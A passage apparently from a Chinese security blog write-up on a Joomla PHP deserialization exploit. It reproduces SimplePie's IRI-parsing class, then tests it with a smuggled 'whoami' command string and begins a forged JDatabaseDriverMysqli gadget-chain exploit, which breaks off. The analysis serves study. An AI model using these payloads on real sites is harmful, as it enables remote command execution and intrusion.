<span class="doctag">@param</span> string $scheme</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">set_scheme</span><span class="params">($scheme)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> ($scheme === <span class="keyword">null</span> || $scheme === <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;scheme = <span class="keyword">null</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			$len = strlen($scheme);</span><br><span class="line">			<span class="keyword">switch</span> (<span class="keyword">true</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				<span class="keyword">case</span> $len &gt; <span class="number">1</span>:</span><br><span class="line">					<span class="keyword">if</span> (!strspn($scheme, <span class="string">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-.'</span>, <span class="number">1</span>))</span><br><span class="line">					&#123;</span><br><span class="line">						<span class="keyword">$this</span>-&gt;scheme = <span class="keyword">null</span>;</span><br><span class="line">						<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">false</span>;</span><br><span class="line">						<span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">					&#125;</span><br><span class="line"></span><br><span class="line">				<span class="keyword">case</span> $len &gt; <span class="number">0</span>:</span><br><span class="line">					<span class="keyword">if</span> (!strspn($scheme, <span class="string">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'</span>, <span class="number">0</span>, <span class="number">1</span>))</span><br><span class="line">					&#123;</span><br><span class="line">						<span class="keyword">$this</span>-&gt;scheme = <span class="keyword">null</span>;</span><br><span class="line">						<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">false</span>;</span><br><span class="line">						<span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">					&#125;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;scheme = strtolower($scheme);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Set the authority. Returns true on success, false on failure (if there are</span></span><br><span class="line"><span class="comment">	 * any invalid characters).</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $authority</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">set_authority</span><span class="params">($authority)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> (($userinfo_end = strrpos($authority, <span class="string">'@'</span>)) !== <span class="keyword">false</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$userinfo = substr($authority, <span class="number">0</span>, $userinfo_end);</span><br><span class="line">			$authority = substr($authority, $userinfo_end + <span class="number">1</span>);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			$userinfo = <span class="keyword">null</span>;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">if</span> (($port_start = strpos($authority, <span class="string">':'</span>)) !== <span class="keyword">false</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$port = substr($authority, $port_start + <span class="number">1</span>);</span><br><span class="line">			$authority = substr($authority, <span class="number">0</span>, $port_start);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			$port = <span class="keyword">null</span>;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;set_userinfo($userinfo) &amp;&amp; <span class="keyword">$this</span>-&gt;set_host($authority) &amp;&amp; <span class="keyword">$this</span>-&gt;set_port($port);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Set the userinfo.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $userinfo</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">set_userinfo</span><span class="params">($userinfo)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> ($userinfo === <span class="keyword">null</span> || $userinfo === <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;userinfo = <span class="keyword">null</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;userinfo = <span class="keyword">$this</span>-&gt;replace_invalid_with_pct_encoding($userinfo, <span class="string">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&amp;\'()*+,;=:'</span>);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Set the host. Returns true on success, false on failure (if there are</span></span><br><span class="line"><span class="comment">	 * any invalid characters).</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $host</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">set_host</span><span class="params">($host)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> ($host === <span class="keyword">null</span> || $host === <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;host = <span class="keyword">null</span>;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">elseif</span> ($host[<span class="number">0</span>] === <span class="string">'['</span> &amp;&amp; substr($host, <span class="number">-1</span>) === <span class="string">']'</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">if</span> (Net_IPv6::checkIPv6(substr($host, <span class="number">1</span>, <span class="number">-1</span>)))</span><br><span class="line">			&#123;</span><br><span class="line">				<span class="keyword">$this</span>-&gt;host = $host;</span><br><span class="line">				<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">				<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">else</span></span><br><span class="line">			&#123;</span><br><span class="line">				<span class="keyword">$this</span>-&gt;host = <span class="keyword">null</span>;</span><br><span class="line">				<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">false</span>;</span><br><span class="line">				<span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;host = <span class="keyword">$this</span>-&gt;replace_invalid_with_pct_encoding($host, <span class="string">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&amp;\'()*+,;='</span>, SIMPLEPIE_LOWERCASE);</span><br><span class="line">			<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Set the port. Returns true on success, false on failure (if there are</span></span><br><span class="line"><span class="comment">	 * any invalid characters).</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $port</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">set_port</span><span class="params">($port)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> ($port === <span class="keyword">null</span> || $port === <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;port = <span class="keyword">null</span>;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">elseif</span> (strspn($port, <span class="string">'0123456789'</span>) === strlen($port))</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;port = (int) $port;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;port = <span class="keyword">null</span>;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">false</span>;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Set the path.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $path</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">set_path</span><span class="params">($path)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> ($path === <span class="keyword">null</span> || $path === <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;path = <span class="keyword">null</span>;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">elseif</span> (substr($path, <span class="number">0</span>, <span class="number">2</span>) === <span class="string">'//'</span> &amp;&amp; <span class="keyword">$this</span>-&gt;userinfo === <span class="keyword">null</span> &amp;&amp; <span class="keyword">$this</span>-&gt;host === <span class="keyword">null</span> &amp;&amp; <span class="keyword">$this</span>-&gt;port === <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;path = <span class="keyword">null</span>;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">false</span>;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;path = <span class="keyword">$this</span>-&gt;replace_invalid_with_pct_encoding($path, <span class="string">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&amp;\'()*+,;=@/'</span>);</span><br><span class="line">			<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;scheme !== <span class="keyword">null</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				<span class="keyword">$this</span>-&gt;path = <span class="keyword">$this</span>-&gt;remove_dot_segments(<span class="keyword">$this</span>-&gt;path);</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Set the query.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $query</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">set_query</span><span class="params">($query)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> ($query === <span class="keyword">null</span> || $query === <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;query = <span class="keyword">null</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;query = <span class="keyword">$this</span>-&gt;replace_invalid_with_pct_encoding($query, <span class="string">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&amp;\'()*+,;=:@/?'</span>);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Set the fragment.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $fragment</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">set_fragment</span><span class="params">($fragment)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> ($fragment === <span class="keyword">null</span> || $fragment === <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;fragment = <span class="keyword">null</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;fragment = <span class="keyword">$this</span>-&gt;replace_invalid_with_pct_encoding($fragment, <span class="string">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&amp;\'()*+,;=:@/?'</span>);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">$this</span>-&gt;valid[<span class="keyword">__FUNCTION__</span>] = <span class="keyword">true</span>;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the complete IRI</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_iri</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$iri = <span class="string">''</span>;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;scheme !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$iri .= <span class="keyword">$this</span>-&gt;scheme . <span class="string">':'</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">if</span> (($authority = <span class="keyword">$this</span>-&gt;get_authority()) !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$iri .= <span class="string">'//'</span> . $authority;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;path !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$iri .= <span class="keyword">$this</span>-&gt;path;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;query !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$iri .= <span class="string">'?'</span> . <span class="keyword">$this</span>-&gt;query;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;fragment !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$iri .= <span class="string">'#'</span> . <span class="keyword">$this</span>-&gt;fragment;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">if</span> ($iri !== <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">return</span> $iri;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the scheme</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_scheme</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;scheme;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the complete authority</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_authority</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$authority = <span class="string">''</span>;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;userinfo !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$authority .= <span class="keyword">$this</span>-&gt;userinfo . <span class="string">'@'</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;host !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$authority .= <span class="keyword">$this</span>-&gt;host;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;port !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$authority .= <span class="string">':'</span> . <span class="keyword">$this</span>-&gt;port;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">if</span> ($authority !== <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">return</span> $authority;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the user information</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_userinfo</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;userinfo;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the host</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_host</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;host;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the port</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_port</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;port;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the path</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_path</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;path;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the query</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_query</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;query;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Get the fragment</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">get_fragment</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;fragment;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">purl</span><span class="params">($url)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$iri = <span class="keyword">new</span> SimplePie_IRI($url);</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">array</span>(</span><br><span class="line">			<span class="string">'scheme'</span> =&gt; (string) $iri-&gt;get_scheme(),</span><br><span class="line">			<span class="string">'authority'</span> =&gt; (string) $iri-&gt;get_authority(),</span><br><span class="line">			<span class="string">'path'</span> =&gt; (string) $iri-&gt;get_path(),</span><br><span class="line">			<span class="string">'query'</span> =&gt; (string) $iri-&gt;get_query(),</span><br><span class="line">			<span class="string">'fragment'</span> =&gt; (string) $iri-&gt;get_fragment()</span><br><span class="line">		);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">$a = <span class="string">"whoami || $m='http://yemoli.top';"</span>;</span><br><span class="line">var_dump(purl($a));</span><br></pre></td></tr></table></figure>
<p><code>Output</code></p>
<figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">array(<span class="number">5</span>) &#123;</span><br><span class="line">  [<span class="string">"scheme"</span>]=&gt;</span><br><span class="line">  <span class="type">string</span>(<span class="number">16</span>) <span class="string">"whoami || ='http"</span></span><br><span class="line">  [<span class="string">"authority"</span>]=&gt;</span><br><span class="line">  <span class="type">string</span>(<span class="number">12</span>) <span class="string">"yemoli.top';"</span></span><br><span class="line">  [<span class="string">"path"</span>]=&gt;</span><br><span class="line">  <span class="type">string</span>(<span class="number">0</span>) <span class="string">""</span></span><br><span class="line">  [<span class="string">"query"</span>]=&gt;</span><br><span class="line">  <span class="type">string</span>(<span class="number">0</span>) <span class="string">""</span></span><br><span class="line">  [<span class="string">"fragment"</span>]=&gt;</span><br><span class="line">  <span class="type">string</span>(<span class="number">0</span>) <span class="string">""</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p><code>exp</code>编写</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">JDatabaseDriverMysqli</span></span>&#123;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">protected</span> $disconnectHandlers = <span class="keyword">array</span>([<span class="string">'SimplePie'</span>,<span class="string">'init'</span>],<span class="string">'yml'</span>);</span><br><span class="line">	<span class="keyword">protected</span> $connection = <span class="keyword">true</span>;</span><br><span class="line">	<span class="keyword">protected</span> $a;</span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">		$m = <span class="keyword">new</span> SimplePie();</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>&#123;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">$this</span>-&gt;disconnect();</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">disconnect</span><span class="params">()</span></span></span><br><span 